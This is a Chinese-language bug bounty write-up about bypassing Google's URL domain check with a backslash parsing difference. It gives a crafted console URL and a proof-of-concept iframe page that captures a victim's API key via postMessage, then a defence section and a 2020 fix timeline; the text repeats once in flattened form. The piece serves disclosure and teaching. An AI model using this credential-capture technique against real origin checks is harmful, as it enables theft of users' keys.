Bug Bounty:绕过Google域检测
字数 1200 2025-08-25 22:58:40

绕过Google域检测漏洞分析与利用教学

漏洞概述

本漏洞利用URL解析差异,绕过了Google广泛使用的域检测机制,可能导致API密钥或OAuth客户端ID被窃取。该漏洞影响范围广泛,涉及Google Cloud Console、Google Actions Console、YouTube Studio等多个Google产品。

技术背景

Google使用一个复杂的正则表达式来验证URL的域是否在白名单中。该正则表达式与浏览器解析URL的方式存在差异,导致可以构造特殊URL绕过检测。

漏洞原理

关键正则表达式

Google使用的URL解析正则表达式:

/^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/

该正则表达式提取URL的各个组成部分,其中[3]匹配的是"权限(域)"部分。

浏览器解析差异

浏览器使用IsAuthorityTerminator函数判断权限部分的结束:

bool IsAuthorityTerminator(base::char16 ch) {
  return IsURLSlash(ch) || ch == '?' || ch == '#';
}

其中IsURLSlash函数:

inline bool IsURLSlash(base::char16 ch) {
  return ch == '/' || ch == '\\';
}

解析差异对比

构造URL示例:

https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash
  • 正则表达式解析:将xdavidhu.me\\test.corp.google.com视为完整域名
  • 浏览器解析:将\\视为权限终止符,实际域名为xdavidhu.me

漏洞利用步骤

1. 识别目标

寻找使用相同正则表达式进行域验证的Google服务,特别是那些:

  • 嵌入iframe的Google控制台
  • 使用postMessage进行跨域通信的服务
  • 需要生成敏感凭证(API密钥/OAuth客户端ID)的服务

2. 构造恶意URL

利用反斜杠字符绕过检测:

https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://attacker-domain\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]

3. 创建恶意页面

<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://attacker-domain\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>

<script>
window.addEventListener('message', function (d) {
  console.log(d.data);
  if(d.data[1] == "apikey-credential"){
    var h1 = document.createElement('h1');
    h1.innerHTML = "Your API key: " + d.data[2];
    document.body.appendChild(h1);
  }
});
</script>

4. 窃取凭证

当受害者访问恶意页面时:

  1. 加载henhouse iframe
  2. 受害者生成API密钥
  3. henhouse通过postMessage发送密钥到attacker-domain\\test.corp.google.com
  4. 由于解析差异,消息实际发送到attacker-domain
  5. 恶意页面捕获API密钥

影响范围

该漏洞影响几乎所有使用Google标准URL解析器的产品,包括但不限于:

  • Google Cloud Console
  • Google Actions Console
  • YouTube Studio
  • myaccount.google.com
  • 部分Android应用
  • login.corp.google.com

防御措施

Google已修复此漏洞,建议开发者:

  1. 避免依赖客户端域验证
  2. 使用严格的同源策略
  3. 对敏感操作实施CSRF保护
  4. 定期审查URL解析逻辑

时间线

  • 2020年1月4日:漏洞报告
  • 2020年1月6日:初步分类并提升严重等级(P4→P1)
  • 2020年1月17日:奖励6000美元
  • 2020年3月6日:漏洞修复

总结

该漏洞展示了URL解析实现差异可能导致的安全问题,特别是在大型组织中广泛共享的基础代码库中。安全研究人员应关注基础解析逻辑中的边缘情况,这些往往能导致广泛的绕过。

绕过Google域检测漏洞分析与利用教学 漏洞概述 本漏洞利用URL解析差异,绕过了Google广泛使用的域检测机制,可能导致API密钥或OAuth客户端ID被窃取。该漏洞影响范围广泛,涉及Google Cloud Console、Google Actions Console、YouTube Studio等多个Google产品。 技术背景 Google使用一个复杂的正则表达式来验证URL的域是否在白名单中。该正则表达式与浏览器解析URL的方式存在差异,导致可以构造特殊URL绕过检测。 漏洞原理 关键正则表达式 Google使用的URL解析正则表达式: 该正则表达式提取URL的各个组成部分,其中 [3] 匹配的是"权限(域)"部分。 浏览器解析差异 浏览器使用 IsAuthorityTerminator 函数判断权限部分的结束: 其中 IsURLSlash 函数: 解析差异对比 构造URL示例: 正则表达式解析 :将 xdavidhu.me\\test.corp.google.com 视为完整域名 浏览器解析 :将 \\ 视为权限终止符,实际域名为 xdavidhu.me 漏洞利用步骤 1. 识别目标 寻找使用相同正则表达式进行域验证的Google服务,特别是那些: 嵌入iframe的Google控制台 使用postMessage进行跨域通信的服务 需要生成敏感凭证(API密钥/OAuth客户端ID)的服务 2. 构造恶意URL 利用反斜杠字符绕过检测: 3. 创建恶意页面 4. 窃取凭证 当受害者访问恶意页面时: 加载henhouse iframe 受害者生成API密钥 henhouse通过postMessage发送密钥到 attacker-domain\\test.corp.google.com 由于解析差异,消息实际发送到attacker-domain 恶意页面捕获API密钥 影响范围 该漏洞影响几乎所有使用Google标准URL解析器的产品,包括但不限于: Google Cloud Console Google Actions Console YouTube Studio myaccount.google.com 部分Android应用 login.corp.google.com 防御措施 Google已修复此漏洞,建议开发者: 避免依赖客户端域验证 使用严格的同源策略 对敏感操作实施CSRF保护 定期审查URL解析逻辑 时间线 2020年1月4日:漏洞报告 2020年1月6日:初步分类并提升严重等级(P4→P1) 2020年1月17日:奖励6000美元 2020年3月6日:漏洞修复 总结 该漏洞展示了URL解析实现差异可能导致的安全问题,特别是在大型组织中广泛共享的基础代码库中。安全研究人员应关注基础解析逻辑中的边缘情况,这些往往能导致广泛的绕过。